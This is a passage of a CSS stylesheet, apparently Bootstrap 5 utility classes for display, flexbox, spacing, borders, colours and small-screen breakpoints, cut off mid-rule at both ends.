sticky; bottom: 0; z-index: 1020; } } .hstack { display: flex; flex-direction: row; align-items: center; align-self: stretch; } .vstack { display: flex; flex: 1 1 auto; flex-direction: column; align-self: stretch; } .visually-hidden, .visually-hidden-focusable:not(:focus):not(:focus-within) { position: absolute !important; width: 1px !important; height: 1px !important; padding: 0 !important; margin: -1px !important; overflow: hidden !important; clip: rect(0, 0, 0, 0) !important; white-space: nowrap !important; border: 0 !important; } .stretched-link::after { position: absolute; top: 0; right: 0; bottom: 0; left: 0; z-index: 1; content: ""; } .text-truncate { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } .vr { display: inline-block; align-self: stretch; width: 1px; min-height: 1em; background-color: currentcolor; opacity: 1; } .align-baseline { vertical-align: baseline !important; } .align-top { vertical-align: top !important; } .align-middle { vertical-align: middle !important; } .align-bottom { vertical-align: bottom !important; } .align-text-bottom { vertical-align: text-bottom !important; } .align-text-top { vertical-align: text-top !important; } .float-start { float: left !important; } .float-end { float: right !important; } .float-none { float: none !important; } .opacity-0 { opacity: 0 !important; } .opacity-25 { opacity: 0.25 !important; } .opacity-50 { opacity: 0.5 !important; } .opacity-75 { opacity: 0.75 !important; } .opacity-100 { opacity: 1 !important; } .overflow-auto { overflow: auto !important; } .overflow-hidden { overflow: hidden !important; } .overflow-visible { overflow: visible !important; } .overflow-scroll { overflow: scroll !important; } .d-inline { display: inline !important; } .d-inline-block { display: inline-block !important; } .d-block { display: block !important; } .d-grid { display: grid !important; } .d-table { display: table !important; } .d-table-row { display: table-row !important; } .d-table-cell { display: table-cell !important; } .d-flex { display: flex !important; } .d-inline-flex { display: inline-flex !important; } .d-none { display: none !important; } .shadow { box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.15) !important; } .shadow-sm { box-shadow: 0 0.125rem 0.25rem rgba(0, 0, 0, 0.075) !important; } .shadow-lg { box-shadow: 0 1rem 3rem rgba(0, 0, 0, 0.175) !important; } .shadow-none { box-shadow: none !important; } .position-static { position: static !important; } .position-relative { position: relative !important; } .position-absolute { position: absolute !important; } .position-fixed { position: fixed !important; } .position-sticky { position: sticky !important; } .top-0 { top: 0 !important; } .top-50 { top: 50% !important; } .top-100 { top: 100% !important; } .bottom-0 { bottom: 0 !important; } .bottom-50 { bottom: 50% !important; } .bottom-100 { bottom: 100% !important; } .start-0 { left: 0 !important; } .start-50 { left: 50% !important; } .start-100 { left: 100% !important; } .end-0 { right: 0 !important; } .end-50 { right: 50% !important; } .end-100 { right: 100% !important; } .translate-middle { transform: translate(-50%, -50%) !important; } .translate-middle-x { transform: translateX(-50%) !important; } .translate-middle-y { transform: translateY(-50%) !important; } .border { border: var(--bs-border-width) var(--bs-border-style) var(--bs-border-color) !important; } .border-0 { border: 0 !important; } .border-top { border-top: var(--bs-border-width) var(--bs-border-style) var(--bs-border-color) !important; } .border-top-0 { border-top: 0 !important; } .border-end { border-right: var(--bs-border-width) var(--bs-border-style) var(--bs-border-color) !important; } .border-end-0 { border-right: 0 !important; } .border-bottom { border-bottom: var(--bs-border-width) var(--bs-border-style) var(--bs-border-color) !important; } .border-bottom-0 { border-bottom: 0 !important; } .border-start { border-left: var(--bs-border-width) var(--bs-border-style) var(--bs-border-color) !important; } .border-start-0 { border-left: 0 !important; } .border-primary { --bs-border-opacity: 1; border-color: rgba(var(--bs-primary-rgb), var(--bs-border-opacity)) !important; } .border-secondary { --bs-border-opacity: 1; border-color: rgba(var(--bs-secondary-rgb), var(--bs-border-opacity)) !important; } .border-success { --bs-border-opacity: 1; border-color: rgba(var(--bs-success-rgb), var(--bs-border-opacity)) !important; } .border-info { --bs-border-opacity: 1; border-color: rgba(var(--bs-info-rgb), var(--bs-border-opacity)) !important; } .border-warning { --bs-border-opacity: 1; border-color: rgba(var(--bs-warning-rgb), var(--bs-border-opacity)) !important; } .border-danger { --bs-border-opacity: 1; border-color: rgba(var(--bs-danger-rgb), var(--bs-border-opacity)) !important; } .border-light { --bs-border-opacity: 1; border-color: rgba(var(--bs-light-rgb), var(--bs-border-opacity)) !important; } .border-dark { --bs-border-opacity: 1; border-color: rgba(var(--bs-dark-rgb), var(--bs-border-opacity)) !important; } .border-black { --bs-border-opacity: 1; border-color: rgba(var(--bs-black-rgb), var(--bs-border-opacity)) !important; } .border-white { --bs-border-opacity: 1; border-color: rgba(var(--bs-white-rgb), var(--bs-border-opacity)) !important; } .border-body { --bs-border-opacity: 1; border-color: rgba(var(--bs-body-rgb), var(--bs-border-opacity)) !important; } .border-0 { --bs-border-width: 0; } .border-1 { --bs-border-width: 1px; } .border-2 { --bs-border-width: 2px; } .border-3 { --bs-border-width: 3px; } .border-4 { --bs-border-width: 4px; } .border-5 { --bs-border-width: 5px; } .border-opacity-10 { --bs-border-opacity: 0.1; } .border-opacity-25 { --bs-border-opacity: 0.25; } .border-opacity-50 { --bs-border-opacity: 0.5; } .border-opacity-75 { --bs-border-opacity: 0.75; } .border-opacity-100 { --bs-border-opacity: 1; } .w-25 { width: 25% !important; } .w-50 { width: 50% !important; } .w-75 { width: 75% !important; } .w-100 { width: 100% !important; } .w-auto { width: auto !important; } .mw-100 { max-width: 100% !important; } .vw-100 { width: 100vw !important; } .min-vw-100 { min-width: 100vw !important; } .h-25 { height: 25% !important; } .h-50 { height: 50% !important; } .h-75 { height: 75% !important; } .h-100 { height: 100% !important; } .h-auto { height: auto !important; } .mh-100 { max-height: 100% !important; } .vh-100 { height: 100vh !important; } .min-vh-100 { min-height: 100vh !important; } .flex-fill { flex: 1 1 auto !important; } .flex-row { flex-direction: row !important; } .flex-column { flex-direction: column !important; } .flex-row-reverse { flex-direction: row-reverse !important; } .flex-column-reverse { flex-direction: column-reverse !important; } .flex-grow-0 { flex-grow: 0 !important; } .flex-grow-1 { flex-grow: 1 !important; } .flex-shrink-0 { flex-shrink: 0 !important; } .flex-shrink-1 { flex-shrink: 1 !important; } .flex-wrap { flex-wrap: wrap !important; } .flex-nowrap { flex-wrap: nowrap !important; } .flex-wrap-reverse { flex-wrap: wrap-reverse !important; } .justify-content-start { justify-content: flex-start !important; } .justify-content-end { justify-content: flex-end !important; } .justify-content-center { justify-content: center !important; } .justify-content-between { justify-content: space-between !important; } .justify-content-around { justify-content: space-around !important; } .justify-content-evenly { justify-content: space-evenly !important; } .align-items-start { align-items: flex-start !important; } .align-items-end { align-items: flex-end !important; } .align-items-center { align-items: center !important; } .align-items-baseline { align-items: baseline !important; } .align-items-stretch { align-items: stretch !important; } .align-content-start { align-content: flex-start !important; } .align-content-end { align-content: flex-end !important; } .align-content-center { align-content: center !important; } .align-content-between { align-content: space-between !important; } .align-content-around { align-content: space-around !important; } .align-content-stretch { align-content: stretch !important; } .align-self-auto { align-self: auto !important; } .align-self-start { align-self: flex-start !important; } .align-self-end { align-self: flex-end !important; } .align-self-center { align-self: center !important; } .align-self-baseline { align-self: baseline !important; } .align-self-stretch { align-self: stretch !important; } .order-first { order: -1 !important; } .order-0 { order: 0 !important; } .order-1 { order: 1 !important; } .order-2 { order: 2 !important; } .order-3 { order: 3 !important; } .order-4 { order: 4 !important; } .order-5 { order: 5 !important; } .order-last { order: 6 !important; } .m-0 { margin: 0 !important; } .m-1 { margin: 0.25rem !important; } .m-2 { margin: 0.5rem !important; } .m-3 { margin: 1rem !important; } .m-4 { margin: 1.5rem !important; } .m-5 { margin: 3rem !important; } .m-auto { margin: auto !important; } .mx-0 { margin-right: 0 !important; margin-left: 0 !important; } .mx-1 { margin-right: 0.25rem !important; margin-left: 0.25rem !important; } .mx-2 { margin-right: 0.5rem !important; margin-left: 0.5rem !important; } .mx-3 { margin-right: 1rem !important; margin-left: 1rem !important; } .mx-4 { margin-right: 1.5rem !important; margin-left: 1.5rem !important; } .mx-5 { margin-right: 3rem !important; margin-left: 3rem !important; } .mx-auto { margin-right: auto !important; margin-left: auto !important; } .my-0 { margin-top: 0 !important; margin-bottom: 0 !important; } .my-1 { margin-top: 0.25rem !important; margin-bottom: 0.25rem !important; } .my-2 { margin-top: 0.5rem !important; margin-bottom: 0.5rem !important; } .my-3 { margin-top: 1rem !important; margin-bottom: 1rem !important; } .my-4 { margin-top: 1.5rem !important; margin-bottom: 1.5rem !important; } .my-5 { margin-top: 3rem !important; margin-bottom: 3rem !important; } .my-auto { margin-top: auto !important; margin-bottom: auto !important; } .mt-0 { margin-top: 0 !important; } .mt-1 { margin-top: 0.25rem !important; } .mt-2 { margin-top: 0.5rem !important; } .mt-3 { margin-top: 1rem !important; } .mt-4 { margin-top: 1.5rem !important; } .mt-5 { margin-top: 3rem !important; } .mt-auto { margin-top: auto !important; } .me-0 { margin-right: 0 !important; } .me-1 { margin-right: 0.25rem !important; } .me-2 { margin-right: 0.5rem !important; } .me-3 { margin-right: 1rem !important; } .me-4 { margin-right: 1.5rem !important; } .me-5 { margin-right: 3rem !important; } .me-auto { margin-right: auto !important; } .mb-0 { margin-bottom: 0 !important; } .mb-1 { margin-bottom: 0.25rem !important; } .mb-2 { margin-bottom: 0.5rem !important; } .mb-3 { margin-bottom: 1rem !important; } .mb-4 { margin-bottom: 1.5rem !important; } .mb-5 { margin-bottom: 3rem !important; } .mb-auto { margin-bottom: auto !important; } .ms-0 { margin-left: 0 !important; } .ms-1 { margin-left: 0.25rem !important; } .ms-2 { margin-left: 0.5rem !important; } .ms-3 { margin-left: 1rem !important; } .ms-4 { margin-left: 1.5rem !important; } .ms-5 { margin-left: 3rem !important; } .ms-auto { margin-left: auto !important; } .m-n1 { margin: -0.25rem !important; } .m-n2 { margin: -0.5rem !important; } .m-n3 { margin: -1rem !important; } .m-n4 { margin: -1.5rem !important; } .m-n5 { margin: -3rem !important; } .mx-n1 { margin-right: -0.25rem !important; margin-left: -0.25rem !important; } .mx-n2 { margin-right: -0.5rem !important; margin-left: -0.5rem !important; } .mx-n3 { margin-right: -1rem !important; margin-left: -1rem !important; } .mx-n4 { margin-right: -1.5rem !important; margin-left: -1.5rem !important; } .mx-n5 { margin-right: -3rem !important; margin-left: -3rem !important; } .my-n1 { margin-top: -0.25rem !important; margin-bottom: -0.25rem !important; } .my-n2 { margin-top: -0.5rem !important; margin-bottom: -0.5rem !important; } .my-n3 { margin-top: -1rem !important; margin-bottom: -1rem !important; } .my-n4 { margin-top: -1.5rem !important; margin-bottom: -1.5rem !important; } .my-n5 { margin-top: -3rem !important; margin-bottom: -3rem !important; } .mt-n1 { margin-top: -0.25rem !important; } .mt-n2 { margin-top: -0.5rem !important; } .mt-n3 { margin-top: -1rem !important; } .mt-n4 { margin-top: -1.5rem !important; } .mt-n5 { margin-top: -3rem !important; } .me-n1 { margin-right: -0.25rem !important; } .me-n2 { margin-right: -0.5rem !important; } .me-n3 { margin-right: -1rem !important; } .me-n4 { margin-right: -1.5rem !important; } .me-n5 { margin-right: -3rem !important; } .mb-n1 { margin-bottom: -0.25rem !important; } .mb-n2 { margin-bottom: -0.5rem !important; } .mb-n3 { margin-bottom: -1rem !important; } .mb-n4 { margin-bottom: -1.5rem !important; } .mb-n5 { margin-bottom: -3rem !important; } .ms-n1 { margin-left: -0.25rem !important; } .ms-n2 { margin-left: -0.5rem !important; } .ms-n3 { margin-left: -1rem !important; } .ms-n4 { margin-left: -1.5rem !important; } .ms-n5 { margin-left: -3rem !important; } .p-0 { padding: 0 !important; } .p-1 { padding: 0.25rem !important; } .p-2 { padding: 0.5rem !important; } .p-3 { padding: 1rem !important; } .p-4 { padding: 1.5rem !important; } .p-5 { padding: 3rem !important; } .px-0 { padding-right: 0 !important; padding-left: 0 !important; } .px-1 { padding-right: 0.25rem !important; padding-left: 0.25rem !important; } .px-2 { padding-right: 0.5rem !important; padding-left: 0.5rem !important; } .px-3 { padding-right: 1rem !important; padding-left: 1rem !important; } .px-4 { padding-right: 1.5rem !important; padding-left: 1.5rem !important; } .px-5 { padding-right: 3rem !important; padding-left: 3rem !important; } .py-0 { padding-top: 0 !important; padding-bottom: 0 !important; } .py-1 { padding-top: 0.25rem !important; padding-bottom: 0.25rem !important; } .py-2 { padding-top: 0.5rem !important; padding-bottom: 0.5rem !important; } .py-3 { padding-top: 1rem !important; padding-bottom: 1rem !important; } .py-4 { padding-top: 1.5rem !important; padding-bottom: 1.5rem !important; } .py-5 { padding-top: 3rem !important; padding-bottom: 3rem !important; } .pt-0 { padding-top: 0 !important; } .pt-1 { padding-top: 0.25rem !important; } .pt-2 { padding-top: 0.5rem !important; } .pt-3 { padding-top: 1rem !important; } .pt-4 { padding-top: 1.5rem !important; } .pt-5 { padding-top: 3rem !important; } .pe-0 { padding-right: 0 !important; } .pe-1 { padding-right: 0.25rem !important; } .pe-2 { padding-right: 0.5rem !important; } .pe-3 { padding-right: 1rem !important; } .pe-4 { padding-right: 1.5rem !important; } .pe-5 { padding-right: 3rem !important; } .pb-0 { padding-bottom: 0 !important; } .pb-1 { padding-bottom: 0.25rem !important; } .pb-2 { padding-bottom: 0.5rem !important; } .pb-3 { padding-bottom: 1rem !important; } .pb-4 { padding-bottom: 1.5rem !important; } .pb-5 { padding-bottom: 3rem !important; } .ps-0 { padding-left: 0 !important; } .ps-1 { padding-left: 0.25rem !important; } .ps-2 { padding-left: 0.5rem !important; } .ps-3 { padding-left: 1rem !important; } .ps-4 { padding-left: 1.5rem !important; } .ps-5 { padding-left: 3rem !important; } .gap-0 { gap: 0 !important; } .gap-1 { gap: 0.25rem !important; } .gap-2 { gap: 0.5rem !important; } .gap-3 { gap: 1rem !important; } .gap-4 { gap: 1.5rem !important; } .gap-5 { gap: 3rem !important; } .font-monospace { font-family: var(--bs-font-monospace) !important; } .fs-1 { font-size: calc(1.35rem + 1.2vw) !important; } .fs-2 { font-size: calc(1.3rem + 0.6vw) !important; } .fs-3 { font-size: calc(1.275rem + 0.3vw) !important; } .fs-4 { font-size: 1.25rem !important; } .fs-5 { font-size: 1rem !important; } .fs-6 { font-size: 0.9375rem !important; } .fst-italic { font-style: italic !important; } .fst-normal { font-style: normal !important; } .fw-light { font-weight: 300 !important; } .fw-lighter { font-weight: lighter !important; } .fw-normal { font-weight: 400 !important; } .fw-bold { font-weight: 700 !important; } .fw-semibold { font-weight: 600 !important; } .fw-bolder { font-weight: bolder !important; } .lh-1 { line-height: 1 !important; } .lh-sm { line-height: 1.25 !important; } .lh-base { line-height: 1.5 !important; } .lh-lg { line-height: 2 !important; } .text-start { text-align: left !important; } .text-end { text-align: right !important; } .text-center { text-align: center !important; } .text-decoration-none { text-decoration: none !important; } .text-decoration-underline { text-decoration: underline !important; } .text-decoration-line-through { text-decoration: line-through !important; } .text-lowercase { text-transform: lowercase !important; } .text-uppercase { text-transform: uppercase !important; } .text-capitalize { text-transform: capitalize !important; } .text-wrap { white-space: normal !important; } .text-nowrap { white-space: nowrap !important; } /* rtl:begin:remove */ .text-break { word-wrap: break-word !important; word-break: break-word !important; } /* rtl:end:remove */ .text-primary { --bs-text-opacity: 1; color: rgba(var(--bs-primary-rgb), var(--bs-text-opacity)) !important; } .text-secondary { --bs-text-opacity: 1; color: rgba(var(--bs-secondary-rgb), var(--bs-text-opacity)) !important; } .text-success { --bs-text-opacity: 1; color: rgba(var(--bs-success-rgb), var(--bs-text-opacity)) !important; } .text-info { --bs-text-opacity: 1; color: rgba(var(--bs-info-rgb), var(--bs-text-opacity)) !important; } .text-warning { --bs-text-opacity: 1; color: rgba(var(--bs-warning-rgb), var(--bs-text-opacity)) !important; } .text-danger { --bs-text-opacity: 1; color: rgba(var(--bs-danger-rgb), var(--bs-text-opacity)) !important; } .text-light { --bs-text-opacity: 1; color: rgba(var(--bs-light-rgb), var(--bs-text-opacity)) !important; } .text-dark { --bs-text-opacity: 1; color: rgba(var(--bs-dark-rgb), var(--bs-text-opacity)) !important; } .text-black { --bs-text-opacity: 1; color: rgba(var(--bs-black-rgb), var(--bs-text-opacity)) !important; } .text-white { --bs-text-opacity: 1; color: rgba(var(--bs-white-rgb), var(--bs-text-opacity)) !important; } .text-body { --bs-text-opacity: 1; color: rgba(var(--bs-body-color-rgb), var(--bs-text-opacity)) !important; } .text-muted { --bs-text-opacity: 1; color: #6c757d !important; } .text-black-50 { --bs-text-opacity: 1; color: rgba(0, 0, 0, 0.5) !important; } .text-white-50 { --bs-text-opacity: 1; color: rgba(255, 255, 255, 0.5) !important; } .text-reset { --bs-text-opacity: 1; color: inherit !important; } .text-opacity-25 { --bs-text-opacity: 0.25; } .text-opacity-50 { --bs-text-opacity: 0.5; } .text-opacity-75 { --bs-text-opacity: 0.75; } .text-opacity-100 { --bs-text-opacity: 1; } .bg-primary { --bs-bg-opacity: 1; background-color: rgba(var(--bs-primary-rgb), var(--bs-bg-opacity)) !important; } .bg-secondary { --bs-bg-opacity: 1; background-color: rgba(var(--bs-secondary-rgb), var(--bs-bg-opacity)) !important; } .bg-success { --bs-bg-opacity: 1; background-color: rgba(var(--bs-success-rgb), var(--bs-bg-opacity)) !important; } .bg-info { --bs-bg-opacity: 1; background-color: rgba(var(--bs-info-rgb), var(--bs-bg-opacity)) !important; } .bg-warning { --bs-bg-opacity: 1; background-color: rgba(var(--bs-warning-rgb), var(--bs-bg-opacity)) !important; } .bg-danger { --bs-bg-opacity: 1; background-color: rgba(var(--bs-danger-rgb), var(--bs-bg-opacity)) !important; } .bg-light { --bs-bg-opacity: 1; background-color: rgba(var(--bs-light-rgb), var(--bs-bg-opacity)) !important; } .bg-dark { --bs-bg-opacity: 1; background-color: rgba(var(--bs-dark-rgb), var(--bs-bg-opacity)) !important; } .bg-black { --bs-bg-opacity: 1; background-color: rgba(var(--bs-black-rgb), var(--bs-bg-opacity)) !important; } .bg-white { --bs-bg-opacity: 1; background-color: rgba(var(--bs-white-rgb), var(--bs-bg-opacity)) !important; } .bg-body { --bs-bg-opacity: 1; background-color: rgba(var(--bs-body-bg-rgb), var(--bs-bg-opacity)) !important; } .bg-transparent { --bs-bg-opacity: 1; background-color: transparent !important; } .bg-opacity-10 { --bs-bg-opacity: 0.1; } .bg-opacity-25 { --bs-bg-opacity: 0.25; } .bg-opacity-50 { --bs-bg-opacity: 0.5; } .bg-opacity-75 { --bs-bg-opacity: 0.75; } .bg-opacity-100 { --bs-bg-opacity: 1; } .bg-gradient { background-image: var(--bs-gradient) !important; } .user-select-all { -webkit-user-select: all !important; -moz-user-select: all !important; user-select: all !important; } .user-select-auto { -webkit-user-select: auto !important; -moz-user-select: auto !important; user-select: auto !important; } .user-select-none { -webkit-user-select: none !important; -moz-user-select: none !important; user-select: none !important; } .pe-none { pointer-events: none !important; } .pe-auto { pointer-events: auto !important; } .rounded { border-radius: var(--bs-border-radius) !important; } .rounded-0 { border-radius: 0 !important; } .rounded-1 { border-radius: var(--bs-border-radius-sm) !important; } .rounded-2 { border-radius: var(--bs-border-radius) !important; } .rounded-3 { border-radius: var(--bs-border-radius-lg) !important; } .rounded-4 { border-radius: var(--bs-border-radius-xl) !important; } .rounded-5 { border-radius: var(--bs-border-radius-2xl) !important; } .rounded-circle { border-radius: 50% !important; } .rounded-pill { border-radius: var(--bs-border-radius-pill) !important; } .rounded-top { border-top-left-radius: var(--bs-border-radius) !important; border-top-right-radius: var(--bs-border-radius) !important; } .rounded-end { border-top-right-radius: var(--bs-border-radius) !important; border-bottom-right-radius: var(--bs-border-radius) !important; } .rounded-bottom { border-bottom-right-radius: var(--bs-border-radius) !important; border-bottom-left-radius: var(--bs-border-radius) !important; } .rounded-start { border-bottom-left-radius: var(--bs-border-radius) !important; border-top-left-radius: var(--bs-border-radius) !important; } .visible { visibility: visible !important; } .invisible { visibility: hidden !important; } @media (min-width: 576px) { .float-sm-start { float: left !important; } .float-sm-end { float: right !important; } .float-sm-none { float: none !important; } .d-sm-inline { display: inline !important; } .d-sm-inline-block { display: inline-block !important; } .d-sm-block { display: block !important; } .d-sm-grid { display: grid !important; } .d-sm-table { display: table !important; } .d-sm-table-row { display: table-row !important; } .d-sm-table-cell { display: table-cell !important; } .d-sm-flex { display: flex !important; } .d-sm-inline-flex { display: inline-flex !important; } .d-sm-none { display: none !important; } .flex-sm-fill { flex: 1 1 auto !important; } .flex-sm-row { flex-direction: row !important; } .flex-sm-column { flex-direction: column !important; } .flex-sm-row-reverse { flex-direction: row-reverse !important; } .flex-sm-column-reverse { flex-direction: column-reverse !important; } .flex-sm-grow-0 { flex-grow: 0 !important; } .flex-sm-grow-1 { flex-grow: 1 !important; } .flex-sm-shrink-0 { flex-shrink: 0 !important; } .flex-sm-shrink-1 { flex-shrink: 1 !important; } .flex-sm-wrap { flex-wrap: wrap !important; } .flex-sm-nowrap { flex-wrap: nowrap !important; } .flex-sm-wrap-reverse { flex-wrap: wrap-reverse !important; } .justify-content-sm-start { justify-content: flex-start !important; } .justify-content-sm-end { justify-content: flex-end !important; } .justify-content-sm-center { justify-content: center !important; } .justify-content-sm-between { justify-content: space-between !important; } .justify-content-sm-around { justify-content: space-around !important; } .justify-content-sm-evenly { justify-content: space-evenly !important; } .align-items-sm-start { align-items: flex-start !important; } .align-items-sm-end { align-items: flex-end !important; } .align-items-sm-center { align-items: center !important; } .align-items-sm-baseline { align-items: baseline !important; } .align-items-sm-stretch { align-items: stretch !important; } .align-content-sm-start { align-content: flex-start !important; } .align-content-sm-end { align-content: flex-end !important; } .align-content-sm-center { align-content: center !important; } .align-content-sm-between { align-content: space-between !important; } .align-content-sm-around { align-content: space-around !important; } .align-content-sm-stretch { align-content: stretch !important; } .align-self-sm-auto { align-self: auto !important; } .align-self-sm-start { align-self: flex-start !important; } .align-self-sm-end { align-self: flex-end !important; } .align-self-sm-center { align-self: center !important; } .align-self-sm-baseline { align-self: baseline !important; } .align-self-sm-stretch { align-self: stretch !important; } .order-sm-first { order: -1 !important; } .order-sm-0 { order: 0 !important; } .order-sm-1 { order: 1 !important; } .order-sm-2 { order: 2 !important; } .order-sm-3 { order: 3 !important; } .order-sm-4 { order: 4 !important; } .order-sm-5 { order: 5 !important; } .order-sm-last { order: 6 !important; } .m-sm-0 { margin: 0 !important; } .m-sm-1 { margin: 0.25rem !important; } .m-sm-2 { margin: 0.5rem !important; } .m-sm-3 { margin: 1rem !important; } .m-sm-4 { margin: 1.5rem !important; } .m-sm-5 { margin: 3rem !important; } .m-sm-auto { margin: auto !important; } .mx-sm-0 { margin-right: 0 !important; margin-left: 0 !important; } .mx-sm-1 { margin-right: 0.25rem !important; margin-left: 0.25rem !important; } .mx-sm-2 { margin-right: 0.5rem !important; margin-left: 0.5rem !important; } .mx-sm-3 { margin-right: 1rem !important; margin-left: 1rem !important; } .mx-sm-4 { margin-right: 1.5rem !important; margin-left: 1.5rem !important; } .mx-sm-5 { margin-right: 3rem !important; margin-left: 3rem !important; } .mx-sm-auto { margin-right: auto !important; margin-left: auto !important; } .my-sm-0 { margin-top: 0 !important; margin-bottom: 0 !important; } .my-sm-1 { margin-top: 0.25rem !important; margin-bottom: 0.25rem !important; } .my-sm-2 { margin-top: 0.5rem !important; margin-bottom: 0.5rem !important; } .my-sm-3 { margin-top: 1rem !important; margin-bottom: 1rem !important; } .my-sm-4 { margin-top: 1.5rem !important; margin-bottom: 1.5rem !important; } .my-sm-5 { margin-top: 3rem !important; margin-bottom: 3rem !important; } .my-sm-auto { margin-top: auto !important; margin-bottom: auto !important; } .mt-sm-0 { margin-top: 0 !important; } .mt-sm-1 { margin-top: 0.25rem !important; } .mt-sm-2 { margin-top: 0.5rem !important; } .mt-sm-3 { margin-top: 1rem !important; } .mt-sm-4 { margin-top: 1.5rem !important; } .mt-sm-5 { margin-top: 3rem !important; } .mt-sm-auto { margin-top: auto !important; } .me-sm-0 { margin-right: 0 !important; } .me-sm-1 { margin-right: 0.25rem !important; } .me-sm-2 { margin-right: 0.5rem !important; } .me-sm-3 { margin-right: 1rem !important; } .me-sm-4 { margin-right: 1.5rem !important; } .me-sm-5 { margin-right: 3rem !important; } .me-sm-auto { margin-right: auto !important; } .mb-sm-0 { margin-bottom: 0 !important; } .mb-sm-1 { margin-bottom: 0.25rem !important; } .mb-sm-2 { margin-bottom: 0.5rem !important; } .mb-sm-3 { margin-bottom: 1rem !important; } .mb-sm-4 { margin-bottom: 1.5rem !important; } .mb-sm-5 { margin-bottom: 3rem !important; } .mb-sm-auto { margin-bottom: auto !important; } .ms-sm-0 { margin-left: 0 !important; } .ms-sm-1 { margin-left: 0.25rem !important; } .ms-sm-2 { margin-left: 0.5rem !important; } .ms-sm-3 { margin-left: 1rem !important; } .ms-sm-4 { margin-left: 1.5rem !important; } .ms-sm-5 { margin-left: 3rem !important; } .ms-sm-auto { margin-left: auto !important; } .m-sm-n1 { margin: -0.25rem !important; } .m-sm-n2 { margin: -0.5rem !important; } .m-sm-n3 { margin: -1rem !important; } .m-sm-n4 { margin: -1.5rem !important; } .m-sm-n5 { margin: -3rem !important; } .mx-sm-n1 { margin-right: -0.25rem !important; margin-left: -0.25rem !important; } .mx-sm-n2 { margin-right: -0.5rem !important; margin-left: -0.5rem !important; } .mx-sm-n3 { margin-right: -1rem !important; margin-left: -1rem !important; } .mx-sm-n4 { margin-right: -1.5rem !important; margin-left: -1.5rem !important; } .mx-sm-n5 { margin-right: -3rem !important; margin-left: -3rem !important; } .my-sm-n1 { margin-top: -0.25rem !important; margin-bottom: -0.25rem !important; } .my-sm-n2 { margin-top: -0.5rem !important; margin-bottom: -0.5rem !important; } .my-sm-n3 { margin-top: -1rem !important; margin-bottom: -1rem !important; } .my-sm-n4 { margin-top: -1.5rem !important; margin-bottom: -1.5rem !important; } .my-sm-n5 { margin-top: -3rem !important; margin-bottom: -3rem !important; } .mt-sm-n1 { margin-top: -0.25rem !important; } .mt-sm-n2 { margin-top: -0.5rem !important; } .mt-sm-n3 { margin-top: -1rem !important; } .mt-sm-n4 { margin-top: -1.5rem !important; } .mt-sm-n5 { margin-top: -3rem !important; } .me-sm-n1 { margin-right: -0.25rem !important; } .me-sm-n2 { margin-right: -0.5rem !important; } .me-sm-n3 { margin-right: -1rem !important; } .me-sm-n4 { margin-right: -1.5rem !important; } .me-sm-n5 { margin-right: -3rem !important; } .mb-sm-n1 { margin-bottom: -0.25rem !important; } .mb-sm-n2 { margin-bottom: -0.5rem !important; } .mb-sm-n3 { margin-bottom: -1rem !important; } .mb-sm-n4 { margin-bottom: -1.5rem !important; } .mb-sm-n5 { margin-bottom: -3rem !important; } .ms-sm-n1 { margin-left: -0.25rem !important; } .ms-sm-n2 { margin-left: -0.5rem !important; } .ms-sm-n3 { margin-left: -1rem !important; } .ms-sm-n4 { margin-left: -1.5rem !important; } .ms-sm-n5 { margin-left: -3rem !important; } .p-sm-0 { padding: 0 !important; } .p-sm-1 { padding: 0.25rem !important; } .p-sm-2 { padding: 0.5rem !important; } .p-sm-3 { padding: 1rem !important; } .p-sm-4 { padding: 1.5rem !important; } .p-sm-5 { padding: 3rem !important; } .px-sm-0 { padding-right: 0 !important; padding-left: 0 !important; } .px-sm-1 { padding-right: 0.25rem !important; padding-left: 0.25rem !important; } .px-sm-2 { padding-right: 0.5rem !important; padding-left: 0.5rem !important; } .px-sm-3 { padding-right: 1rem !important; padding-left: 1rem !important; } .px-sm-4 { padding-right: 1.5rem !important; padding-left: 1.5rem !important; } .px-sm-5 { padding-right: 3rem !important; padding-left: 3rem !important; } .py-sm-0 { padding-top: 0 !important; padding-bottom: 0 !important; } .py-sm-1 { padding-top: 0.25rem !important; padding-bottom: 0.25rem !important; } .py-sm-2 { padding-top: 0.5rem !important; padding-bottom: 0.5rem !important; } .py-sm-3 { padding-top: 1rem !important; padding-bottom: 1rem !important; } .py-sm-4 { padding-top: 1.5rem !important; padding-bottom: 1.5rem !important; } .py-sm-5 { padding-top: 3rem !important; padding-bottom: 3rem !important; } .pt-sm-0 { padding-top: 0 !important; } .pt-sm-1 { padding-top: 0.25rem !important; } .pt-sm-2 { padding-top: 0.5rem !important; } .pt-sm-3 { padding-top: 1rem !important; } .pt-sm-4 { padding-top: 1.5rem !important; } .pt-sm-5 { padding-top: 3rem !important; } .pe-sm-0 { padding-right: 0 !important; } .pe-sm-1 { padding-right: 0.25rem !important; } .pe-sm-2 { padding-right: 0.5rem !important; } .pe-sm-3 { padding-right: 1rem !important; } .pe-sm-4 { padding-right: 1.5rem !important; } .pe-sm-5 { padding-right: 3rem !important; } .pb-sm-0 { padding-bottom: 0 !important; } .pb-sm-1 { padding-bottom: 0.25rem !important; } .pb-sm-2 { padding-bottom: 0.5rem !important; } .pb-sm-3 { padding-bottom: 1rem !important; } .pb-sm-4 { padding-bottom: 1.5rem !important; } .pb-sm-5 { padding-bottom: 3rem !important; } .ps-sm-0 { padding-left: 0 !important; } .ps-sm-1 { padding-left: 0.25rem !important; } .ps-sm-2 { padding-left: 0.5rem !important; } .ps-sm-3 { padding-left: 1rem !important; } .ps-sm-4 { padding-left: 1.5rem !important; } .ps-sm-5 { padding-left: 3rem !important; } .gap-sm-0 { gap: 0 !important; } .gap-sm-1 { gap: 0.25rem !important; } .gap-sm-2 { gap: 0.5rem !important; } .gap-sm-3 { gap: 1rem !important; } .gap-sm-4 { gap: 1.5rem !important; } .gap-sm-5 { gap: 3rem !important; } .text-sm-start { text-align: left !important; } .text-sm-end { text-align: right !important; } .text-sm-center { text-align: center !important; } } @media (min-width: 768px) { .float-md-start { float: left !important; } .float-md-end { float: right !important; } .float-md-none { float: none !important; } .d-md-inline { display: inline !important; } .d-md-inline-block { display: inline-block !important; } .d-md-block { display: block !important; } .d-md-grid { display: grid !important; } .d-md-table { display: table !important; } .d-md-table-row { display: table-row !important; } .d-md-table-cell { display: table-cell !important; } .d-md-flex { display: flex !important; } .d-md-inline-flex { display: inline-flex !important; } .d-md-none { display: none !important; } .flex-md-fill { flex: 1 1 auto !important; } .flex-md-row { flex-direction: row !important; } .flex-md-column { flex-direction: column !important; } .flex-md-row-reverse { flex-direction: 